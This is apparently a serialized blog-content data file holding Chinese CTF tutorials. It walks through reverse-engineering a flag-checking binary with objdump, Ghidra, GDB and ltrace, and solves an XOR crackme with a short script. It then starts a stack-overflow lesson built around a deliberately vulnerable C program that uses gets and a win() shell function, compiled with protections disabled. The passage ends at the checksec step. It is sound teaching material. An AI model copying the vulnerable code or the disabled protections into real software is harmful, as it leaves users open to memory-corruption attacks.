确认——可能正是加密密钥。",[154,1304,1306],{"id":1305},"_33-运行程序观察行为","3.3 运行程序观察行为",[102,1308,1310],{"className":104,"code":1309,"language":106,"meta":107,"style":107},"./checkflag test\n",[19,1311,1312],{"__ignoreMap":107},[111,1313,1314,1317],{"class":113,"line":114},[111,1315,1316],{"class":117},"./checkflag",[111,1318,1118],{"class":121},[15,1320,966,1321,27],{},[19,1322,1293],{},[102,1324,1326],{"className":104,"code":1325,"language":106,"meta":107,"style":107},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,1327,1328],{"__ignoreMap":107},[111,1329,1330,1332],{"class":113,"line":114},[111,1331,1316],{"class":117},[111,1333,1334],{"class":121}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1336,966,1337,1339],{},[19,1338,1293],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1341,1342,1344],{},[24,1343,162],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1346,1348],{"id":1347},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1350,1351,1353],{},[24,1352,162],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1355,1356,1358,1359,1362,1363,1366,1367,1370],{},[24,1357,292],{},"：程序要么比较字符串（",[19,1360,1361],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[19,1364,1365],{},"call","（函数调用）和 ",[19,1368,1369],{},"je/jne","（条件跳转）就能定位判断点。",[154,1372,1374],{"id":1373},"_41-objdump-看-main","4.1 objdump 看 main",[15,1376,1183],{},[102,1378,1380],{"className":104,"code":1379,"language":106,"meta":107,"style":107},"objdump -d -M intel checkflag\n",[19,1381,1382],{"__ignoreMap":107},[111,1383,1384,1387,1390,1393,1396],{"class":113,"line":114},[111,1385,1386],{"class":117},"objdump",[111,1388,1389],{"class":248}," -d",[111,1391,1392],{"class":248}," -M",[111,1394,1395],{"class":121}," intel",[111,1397,1195],{"class":121},[15,1399,1400],{},"输出很长，用 grep 只看 main：",[102,1402,1404],{"className":104,"code":1403,"language":106,"meta":107,"style":107},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[19,1405,1406],{"__ignoreMap":107},[111,1407,1408,1410,1412,1414,1416,1419,1421,1423,1426,1429,1433,1436],{"class":113,"line":114},[111,1409,1386],{"class":117},[111,1411,1389],{"class":248},[111,1413,1392],{"class":248},[111,1415,1395],{"class":121},[111,1417,1418],{"class":121}," checkflag",[111,1420,316],{"class":315},[111,1422,319],{"class":117},[111,1424,1425],{"class":248}," -A",[111,1427,1428],{"class":248}," 40",[111,1430,1432],{"class":1431},"seVfx"," '",[111,1434,1435],{"class":121},"\u003Cmain>",[111,1437,1438],{"class":1431},"'\n",[15,1440,1441],{},"预期输出（节选）：",[102,1443,1447],{"className":1444,"code":1445,"language":1446,"meta":107,"style":107},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[19,1448,1449,1454,1459,1464,1469,1474,1479,1484,1489,1494],{"__ignoreMap":107},[111,1450,1451],{"class":113,"line":114},[111,1452,1453],{},"0000000000001189 \u003Cmain>:\n",[111,1455,1456],{"class":113,"line":140},[111,1457,1458],{},"    1189:  push   rbp\n",[111,1460,1461],{"class":113,"line":448},[111,1462,1463],{},"    118a:  mov    rbp, rsp\n",[111,1465,1466],{"class":113,"line":455},[111,1467,1468],{},"    1191:  cmp    edi, 0x2\n",[111,1470,1471],{"class":113,"line":461},[111,1472,1473],{},"    1194:  jne    0x11a0\n",[111,1475,1476],{"class":113,"line":467},[111,1477,1478],{},"    119e:  call   0x1149 \u003Ccheck>\n",[111,1480,1481],{"class":113,"line":473},[111,1482,1483],{},"    11a3:  test   eax, eax\n",[111,1485,1486],{"class":113,"line":479},[111,1487,1488],{},"    11a5:  je     0x11b5\n",[111,1490,1491],{"class":113,"line":484},[111,1492,1493],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[111,1495,1496],{"class":113,"line":490},[111,1497,1498],{},"    11ae:  call   puts@plt\n",[15,1500,1501],{},"逐行解释：",[32,1503,1504,1514],{},[35,1505,1506],{},[38,1507,1508,1511],{},[41,1509,1510],{},"指令",[41,1512,1513],{},"含义",[51,1515,1516,1526,1536,1546],{},[38,1517,1518,1523],{},[56,1519,1520],{},[19,1521,1522],{},"cmp edi, 0x2",[56,1524,1525],{},"比较参数个数 argc 是否为 2",[38,1527,1528,1533],{},[56,1529,1530],{},[19,1531,1532],{},"call check",[56,1534,1535],{},"调用校验函数 check",[38,1537,1538,1543],{},[56,1539,1540],{},[19,1541,1542],{},"test eax, eax",[56,1544,1545],{},"检查返回值是否为 0",[38,1547,1548,1553],{},[56,1549,1550],{},[19,1551,1552],{},"je 0x11b5",[56,1554,1555],{},"为 0 则跳到打印 Wrong 的地方",[15,1557,1558,1559,1562],{},"结论：逻辑在 ",[19,1560,1561],{},"check"," 函数里。",[15,1564,1565,293,1568,1570,1571,1573,1574,1577,1578,1580,1581,27],{},[24,1566,1567],{},"怎么想到看 check",[19,1569,1532],{}," 之后紧跟 ",[19,1572,1542],{}," 和 ",[19,1575,1576],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[19,1579,1561],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[19,1582,1561],{},[154,1584,1586],{"id":1585},"_42-看-check","4.2 看 check",[102,1588,1590],{"className":104,"code":1589,"language":106,"meta":107,"style":107},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[19,1591,1592],{"__ignoreMap":107},[111,1593,1594,1596,1598,1600,1602,1604,1606,1608,1610,1613,1615,1618],{"class":113,"line":114},[111,1595,1386],{"class":117},[111,1597,1389],{"class":248},[111,1599,1392],{"class":248},[111,1601,1395],{"class":121},[111,1603,1418],{"class":121},[111,1605,316],{"class":315},[111,1607,319],{"class":117},[111,1609,1425],{"class":248},[111,1611,1612],{"class":248}," 50",[111,1614,1432],{"class":1431},[111,1616,1617],{"class":121},"\u003Ccheck>",[111,1619,1438],{"class":1431},[15,1621,1622],{},"如果看到：",[102,1624,1626],{"className":1444,"code":1625,"language":1446,"meta":107,"style":107},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[19,1627,1628,1633,1638],{"__ignoreMap":107},[111,1629,1630],{"class":113,"line":114},[111,1631,1632],{},"call   strcmp@plt\n",[111,1634,1635],{"class":113,"line":140},[111,1636,1637],{},"test   eax, eax\n",[111,1639,1640],{"class":113,"line":448},[111,1641,1642],{},"je     ...\n",[15,1644,1645,1646,1649],{},"说明是字符串比较，flag 就藏在 ",[19,1647,1648],{},".rodata"," 里。",[15,1651,1652,293,1654,1657,1658,1661,1662,1664],{},[24,1653,168],{},[19,1655,1656],{},"call strcmp@plt"," 前面通常有一条 ",[19,1659,1660],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[19,1663,1648],{}," 里找内容即可。",[154,1666,1668],{"id":1667},"_43-看只读数据段","4.3 看只读数据段",[102,1670,1672],{"className":104,"code":1671,"language":106,"meta":107,"style":107},"objdump -s -j .rodata checkflag\n",[19,1673,1674],{"__ignoreMap":107},[111,1675,1676,1678,1681,1684,1687],{"class":113,"line":114},[111,1677,1386],{"class":117},[111,1679,1680],{"class":248}," -s",[111,1682,1683],{"class":248}," -j",[111,1685,1686],{"class":121}," .rodata",[111,1688,1195],{"class":121},[15,1690,351],{},[102,1692,1695],{"className":1693,"code":1694,"language":191,"meta":107},[189],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[19,1696,1694],{"__ignoreMap":107},[15,1698,1699,1700,1703,1704,27],{},"ASCII 十六进制 ",[19,1701,1702],{},"63 6f 6e 67..."," 解出来就是 ",[19,1705,1706],{},"congratulations",[15,1708,1709,1712,1713,1715,1716,1719],{},[24,1710,1711],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[19,1714,1648],{},"，",[19,1717,1718],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[154,1721,1723],{"id":1722},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1725,1726],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[102,1728,1730],{"className":104,"code":1729,"language":106,"meta":107,"style":107},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[19,1731,1732,1744,1759,1770],{"__ignoreMap":107},[111,1733,1734,1736,1738,1741],{"class":113,"line":114},[111,1735,118],{"class":117},[111,1737,122],{"class":121},[111,1739,1740],{"class":121}," openjdk-21-jdk",[111,1742,1743],{"class":121}," unzip\n",[111,1745,1746,1749,1752,1756],{"class":113,"line":140},[111,1747,1748],{"class":117},"wget",[111,1750,1751],{"class":121}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[111,1753,1755],{"class":1754},"sqerP","*",[111,1757,1758],{"class":121},".zip\n",[111,1760,1761,1763,1766,1768],{"class":113,"line":448},[111,1762,223],{"class":117},[111,1764,1765],{"class":121}," ghidra_",[111,1767,1755],{"class":1754},[111,1769,1758],{"class":121},[111,1771,1772,1776,1778,1780,1783,1785],{"class":113,"line":455},[111,1773,1775],{"class":1774},"sLL85","cd",[111,1777,1765],{"class":121},[111,1779,1755],{"class":1754},[111,1781,1782],{"class":121},"_PUBLIC",[111,1784,220],{"class":219},[111,1786,1787],{"class":117},"./ghidraRun\n",[15,1789,1790],{},"操作步骤：",[1792,1793,1794,1798,1804,1807],"ol",{},[1795,1796,1797],"li",{},"File → New Project → 命名。",[1795,1799,1800,1801,1803],{},"把 ",[19,1802,1161],{}," 拖进项目，双击导入。",[1795,1805,1806],{},"等待自动分析完成。",[1795,1808,1809,1810,1813],{},"左侧 Symbol Tree 双击 ",[19,1811,1812],{},"main","，右侧 Decompiler 显示伪代码。",[15,1815,1816],{},"预期伪代码：",[102,1818,1822],{"className":1819,"code":1820,"language":1821,"meta":107,"style":107},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[19,1823,1824,1829,1834,1839],{"__ignoreMap":107},[111,1825,1826],{"class":113,"line":114},[111,1827,1828],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[111,1830,1831],{"class":113,"line":140},[111,1832,1833],{},"    puts(\"Correct!\");\n",[111,1835,1836],{"class":113,"line":448},[111,1837,1838],{},"else\n",[111,1840,1841],{"class":113,"line":455},[111,1842,1843],{},"    puts(\"Wrong!\");\n",[15,1845,1846],{},"flag 直接可见。",[10,1848,1850],{"id":1849},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1852,1853],{},"静态分析看不懂时，让程序跑起来。",[15,1855,1856,1858],{},[24,1857,162],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1860,1861,1863,1864,1867],{},[24,1862,292],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[19,1865,1866],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[102,1869,1871],{"className":104,"code":1870,"language":106,"meta":107,"style":107},"gdb ./checkflag\n",[19,1872,1873],{"__ignoreMap":107},[111,1874,1875,1878],{"class":113,"line":114},[111,1876,1877],{"class":117},"gdb",[111,1879,1089],{"class":121},[15,1881,1882],{},"进入 GDB 交互后：",[154,1884,1886],{"id":1885},"_51-下断点","5.1 下断点",[102,1888,1891],{"className":1889,"code":1890,"language":1877,"meta":107,"style":107},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[19,1892,1893],{"__ignoreMap":107},[111,1894,1895],{"class":113,"line":114},[111,1896,1890],{},[15,1898,351],{},[102,1900,1903],{"className":1901,"code":1902,"language":191,"meta":107},[189],"Breakpoint 1 at 0x1149\n",[19,1904,1902],{"__ignoreMap":107},[154,1906,1908],{"id":1907},"_52-带参数运行","5.2 带参数运行",[102,1910,1912],{"className":1889,"code":1911,"language":1877,"meta":107,"style":107},"(gdb) run test\n",[19,1913,1914],{"__ignoreMap":107},[111,1915,1916],{"class":113,"line":114},[111,1917,1911],{},[15,1919,351],{},[102,1921,1924],{"className":1922,"code":1923,"language":191,"meta":107},[189],"Breakpoint 1, 0x0000555555555149 in check ()\n",[19,1925,1923],{"__ignoreMap":107},[15,1927,1928],{},"程序停在 check 入口。",[154,1930,1932],{"id":1931},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[102,1934,1936],{"className":1889,"code":1935,"language":1877,"meta":107,"style":107},"(gdb) x/20i $rip\n",[19,1937,1938],{"__ignoreMap":107},[111,1939,1940],{"class":113,"line":114},[111,1941,1935],{},[15,1943,1944],{},"输出 check 函数开头的 20 条汇编。",[154,1946,1948],{"id":1947},"_54-单步并观察比较","5.4 单步并观察比较",[102,1950,1952],{"className":1889,"code":1951,"language":1877,"meta":107,"style":107},"(gdb) stepi\n",[19,1953,1954],{"__ignoreMap":107},[111,1955,1956],{"class":113,"line":114},[111,1957,1951],{},[15,1959,1960,1961,1963],{},"反复执行直到看到 ",[19,1962,1656],{},"。然后：",[102,1965,1967],{"className":1889,"code":1966,"language":1877,"meta":107,"style":107},"(gdb) x/s $rsi\n",[19,1968,1969],{"__ignoreMap":107},[111,1970,1971],{"class":113,"line":114},[111,1972,1966],{},[15,1974,1975],{},"预期输出：程序正在比较的字符串，即 flag。",[15,1977,1978,293,1981,1984,1985,1988,1989,1992,1993,1984,1996,1999],{},[24,1979,1980],{},"补充说明",[19,1982,1983],{},"x/s"," 的 ",[19,1986,1987],{},"s"," 表示按字符串显示；",[19,1990,1991],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[19,1994,1995],{},"strcmp(a, b)",[19,1997,1998],{},"b"," 就存在这里。",[15,2001,2002,2003,2006],{},"补充：如果嫌 GDB 麻烦，",[19,2004,2005],{},"ltrace"," 直接跟踪库调用：",[102,2008,2010],{"className":104,"code":2009,"language":106,"meta":107,"style":107},"ltrace ./checkflag test\n",[19,2011,2012],{"__ignoreMap":107},[111,2013,2014,2016,2018],{"class":113,"line":114},[111,2015,2005],{"class":117},[111,2017,1097],{"class":121},[111,2019,1118],{"class":121},[15,2021,2022],{},"预期输出中会出现：",[102,2024,2027],{"className":2025,"code":2026,"language":191,"meta":107},[189],"strcmp(\"test\", \"congratulations\") = 1\n",[19,2028,2026],{"__ignoreMap":107},[15,2030,2031],{},"flag 一目了然。",[15,2033,2034,2037],{},[24,2035,2036],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2039,863],{"id":862},[32,2041,2042,2053],{},[35,2043,2044],{},[38,2045,2046,2048,2050],{},[41,2047,872],{},[41,2049,875],{},[41,2051,2052],{},"命令示例",[51,2054,2055,2067,2083,2098],{},[38,2056,2057,2059,2062],{},[56,2058,179],{},[56,2060,2061],{},"看类型、位数、是否 stripped",[56,2063,2064],{},[19,2065,2066],{},"file checkflag",[38,2068,2069,2071,2074],{},[56,2070,296],{},[56,2072,2073],{},"提取字符串、指定最小长度、管道过滤",[56,2075,2076,918,2079,918,2081],{},[19,2077,2078],{},"strings checkflag",[19,2080,921],{},[19,2082,924],{},[38,2084,2085,2087,2090],{},[56,2086,1386],{},[56,2088,2089],{},"反汇编、看数据段、Intel 语法",[56,2091,2092,918,2095],{},[19,2093,2094],{},"objdump -d -M intel a",[19,2096,2097],{},"objdump -s -j .rodata a",[38,2099,2100,2103,2106],{},[56,2101,2102],{},"GDB",[56,2104,2105],{},"断点、运行、看内存/寄存器",[56,2107,2108,918,2111,918,2114],{},[19,2109,2110],{},"break check",[19,2112,2113],{},"run",[19,2115,2116],{},"x/20i $rip",[15,2118,2119,2120,1030,2122,2125],{},"另：Ghidra 负责把汇编还原成伪代码；",[19,2121,2005],{},[19,2123,2124],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2127,2129],{"id":2128},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2131,946,2132,2135],{},[19,2133,2134],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[154,2137,2139],{"id":2138},"第一步侦查","第一步：侦查",[15,2141,2142,2144],{},[24,2143,162],{},"：先找密钥与提示。",[15,2146,2147,293,2149,2151,2152,2154,2155,2157],{},[24,2148,292],{},[19,2150,296],{}," 默认漏掉短串，所以用 ",[19,2153,1301],{},"；看到 ",[19,2156,1297],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[102,2159,2161],{"className":104,"code":2160,"language":106,"meta":107,"style":107},"strings -n 3 crackme\n",[19,2162,2163],{"__ignoreMap":107},[111,2164,2165,2167,2169,2171],{"class":113,"line":114},[111,2166,296],{"class":117},[111,2168,1266],{"class":248},[111,2170,1269],{"class":248},[111,2172,2173],{"class":121}," crackme\n",[15,2175,2176,2177,2179],{},"预期输出中有 ",[19,2178,1297],{},"——疑似密钥。",[154,2181,2183],{"id":2182},"第二步反编译-check","第二步：反编译 check",[15,2185,2186,2188],{},[24,2187,162],{},"：确认密钥如何使用、密文数组是什么。",[15,2190,2191,2193,2194,2197],{},[24,2192,168],{},"：伪代码 ",[19,2195,2196],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2199,2200,2201,2203],{},"用 Ghidra 打开，",[19,2202,1561],{}," 伪代码：",[102,2205,2207],{"className":1819,"code":2206,"language":1821,"meta":107,"style":107},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[19,2208,2209],{"__ignoreMap":107},[111,2210,2211],{"class":113,"line":114},[111,2212,2206],{},[154,2214,2216],{"id":2215},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2218,2219,2221],{},[24,2220,162],{},"：把\"加密\"反过来算，得到明文。",[15,2223,2224,2226,2227,2230],{},[24,2225,292],{},"：异或的自反性 ",[19,2228,2229],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[102,2232,2234],{"className":431,"code":2233,"language":433,"meta":107,"style":107},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[19,2235,2236,2241,2246,2251,2256,2261,2266,2271,2276,2281,2286,2291],{"__ignoreMap":107},[111,2237,2238],{"class":113,"line":114},[111,2239,2240],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[111,2242,2243],{"class":113,"line":140},[111,2244,2245],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[111,2247,2248],{"class":113,"line":448},[111,2249,2250],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[111,2252,2253],{"class":113,"line":455},[111,2254,2255],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[111,2257,2258],{"class":113,"line":461},[111,2259,2260],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[111,2262,2263],{"class":113,"line":467},[111,2264,2265],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[111,2267,2268],{"class":113,"line":473},[111,2269,2270],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[111,2272,2273],{"class":113,"line":479},[111,2274,2275],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[111,2277,2278],{"class":113,"line":484},[111,2279,2280],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[111,2282,2283],{"class":113,"line":490},[111,2284,2285],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[111,2287,2288],{"class":113,"line":496},[111,2289,2290],{},"print(flag.decode())\n",[111,2292,2293],{"class":113,"line":502},[111,2294,2295],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2297,966],{},[102,2299,2302],{"className":2300,"code":2301,"language":191,"meta":107},[189],"ctf{reverse_engineering}\n",[19,2303,2301],{"__ignoreMap":107},[154,2305,2307],{"id":2306},"第四步验证","第四步：验证",[102,2309,2311],{"className":104,"code":2310,"language":106,"meta":107,"style":107},"./crackme ctf{reverse_engineering}\n",[19,2312,2313],{"__ignoreMap":107},[111,2314,2315,2318],{"class":113,"line":114},[111,2316,2317],{"class":117},"./crackme",[111,2319,2320],{"class":121}," ctf{reverse_engineering}\n",[15,2322,966,2323,27],{},[19,2324,1290],{},[10,2326,1021],{"id":1020},[15,2328,2329,2330,1030,2332,2334,2335,2337],{},"逆向入门三步：",[19,2331,179],{},[19,2333,296],{}," 侦查 → ",[19,2336,1386],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1035,2339,2340],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":107,"searchDepth":140,"depth":140,"links":2342},[2343,2344,2345,2346,2347,2348,2349,2350],{"id":1069,"depth":448,"text":1070},{"id":99,"depth":448,"text":100},{"id":1165,"depth":448,"text":1166},{"id":1347,"depth":448,"text":1348},{"id":1849,"depth":448,"text":1850},{"id":862,"depth":448,"text":863},{"id":2128,"depth":448,"text":2129},{"id":1020,"depth":448,"text":1021},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1051,"image":2353,"alt":2354,"tags":2355,"published":451},"/blogs-img/blog1.png","CTF 逆向入门",[1055,2356,2357],"reverse","example","/blogs/ctf-reverse-overview",{"title":1064,"description":2351},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2363,"title":2364,"body":2365,"description":3226,"extension":1049,"meta":3227,"navigation":451,"ogImage":3228,"path":3231,"seo":3232,"stem":3233,"__hash__":3234},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2366,"toc":3214},[2367,2371,2378,2384,2386,2388,2414,2418,2424,2519,2522,2557,2561,2566,2571,2573,2589,2591,2597,2600,2658,2662,2668,2674,2681,2750,2755,2759,2763,2801,2803,2809,2813,2821,2831,2840,2844,2889,2899,2903,2908,2913,2982,2985,2991,3002,3006,3081,3085,3093,3096,3109,3120,3125,3130,3187,3189,3195,3199,3211],[10,2368,2370],{"id":2369},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2372,2373,2374,2377],{},"C 语言函数 ",[19,2375,2376],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2379,2380,2381,27],{},"本文只讲一条主线：",[24,2382,2383],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2385,100],{"id":99},[15,2387,1131],{},[102,2389,2391],{"className":104,"code":2390,"language":106,"meta":107,"style":107},"apt install gcc gdb\npip3 install pwntools\n",[19,2392,2393,2405],{"__ignoreMap":107},[111,2394,2395,2397,2399,2402],{"class":113,"line":114},[111,2396,118],{"class":117},[111,2398,122],{"class":121},[111,2400,2401],{"class":121}," gcc",[111,2403,2404],{"class":121}," gdb\n",[111,2406,2407,2409,2411],{"class":113,"line":140},[111,2408,143],{"class":117},[111,2410,122],{"class":121},[111,2412,2413],{"class":121}," pwntools\n",[10,2415,2417],{"id":2416},"三漏洞程序与编译","三、漏洞程序与编译",[15,2419,2420,2421,293],{},"保存 ",[19,2422,2423],{},"vuln.c",[102,2425,2427],{"className":1819,"code":2426,"language":1821,"meta":107,"style":107},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[19,2428,2429,2434,2439,2443,2448,2453,2458,2462,2467,2472,2477,2481,2485,2490,2495,2500,2505,2510,2515],{"__ignoreMap":107},[111,2430,2431],{"class":113,"line":114},[111,2432,2433],{},"#include \u003Cstdio.h>\n",[111,2435,2436],{"class":113,"line":140},[111,2437,2438],{},"#include \u003Cstdlib.h>\n",[111,2440,2441],{"class":113,"line":448},[111,2442,452],{"emptyLinePlaceholder":451},[111,2444,2445],{"class":113,"line":455},[111,2446,2447],{},"void win() {\n",[111,2449,2450],{"class":113,"line":461},[111,2451,2452],{},"    system(\"/bin/sh\");\n",[111,2454,2455],{"class":113,"line":467},[111,2456,2457],{},"}\n",[111,2459,2460],{"class":113,"line":473},[111,2461,452],{"emptyLinePlaceholder":451},[111,2463,2464],{"class":113,"line":479},[111,2465,2466],{},"void vuln() {\n",[111,2468,2469],{"class":113,"line":484},[111,2470,2471],{},"    char buf[32];\n",[111,2473,2474],{"class":113,"line":490},[111,2475,2476],{},"    gets(buf);\n",[111,2478,2479],{"class":113,"line":496},[111,2480,2457],{},[111,2482,2483],{"class":113,"line":502},[111,2484,452],{"emptyLinePlaceholder":451},[111,2486,2487],{"class":113,"line":508},[111,2488,2489],{},"int main() {\n",[111,2491,2492],{"class":113,"line":514},[111,2493,2494],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[111,2496,2497],{"class":113,"line":520},[111,2498,2499],{},"    puts(\"Hello, what's your name?\");\n",[111,2501,2502],{"class":113,"line":526},[111,2503,2504],{},"    vuln();\n",[111,2506,2507],{"class":113,"line":532},[111,2508,2509],{},"    puts(\"Bye!\");\n",[111,2511,2512],{"class":113,"line":537},[111,2513,2514],{},"    return 0;\n",[111,2516,2517],{"class":113,"line":543},[111,2518,2457],{},[15,2520,2521],{},"编译（关闭金丝雀和 PIE，方便入门）：",[102,2523,2525],{"className":104,"code":2524,"language":106,"meta":107,"style":107},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[19,2526,2527,2547,2552],{"__ignoreMap":107},[111,2528,2529,2532,2535,2538,2541,2544],{"class":113,"line":114},[111,2530,2531],{"class":117},"gcc",[111,2533,2534],{"class":248}," -o",[111,2536,2537],{"class":121}," vuln",[111,2539,2540],{"class":121}," vuln.c",[111,2542,2543],{"class":248}," -fno-stack-protector",[111,2545,2546],{"class":248}," -no-pie\n",[111,2548,2549],{"class":113,"line":140},[111,2550,2551],{"class":259},"# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[111,2553,2554],{"class":113,"line":448},[111,2555,2556],{"class":259},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2558,2560],{"id":2559},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2562,2563,2565],{},[24,2564,162],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2567,2568,2570],{},[24,2569,292],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2572,1183],{},[102,2574,2576],{"className":104,"code":2575,"language":106,"meta":107,"style":107},"pwn checksec 